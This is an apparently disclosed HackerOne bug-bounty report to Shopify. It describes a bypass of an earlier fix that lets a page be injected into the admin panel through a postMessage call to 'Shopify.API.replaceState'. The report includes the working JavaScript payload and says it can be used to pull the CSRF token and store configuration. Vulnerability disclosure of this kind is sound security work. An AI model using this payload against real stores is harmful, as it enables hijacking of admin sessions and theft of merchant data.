Inject page in admin panel via Shopify.API.pushState [New Payload]

Disclosed: 2020-12-27 22:14:47 By tiago-danin To shopify
Low
Vulnerability Details
The correction for #868615, allows you to use new payload: ```js const ctx = window.open(location.origin+'/admin/themes', '_blank') const data = JSON.stringify({ message: 'Shopify.API.replaceState', data: {pathname: "abc:d../pages/xss#//"} }); ctx.postMessage(data) ``` ## Impact Abuse the active admin session to extract data as: - CSRF token. - Store config.
Actions
View on HackerOne
Report Stats
  • Report ID: 883867
  • State: Closed
  • Substate: resolved
  • Upvotes: 19
Share this report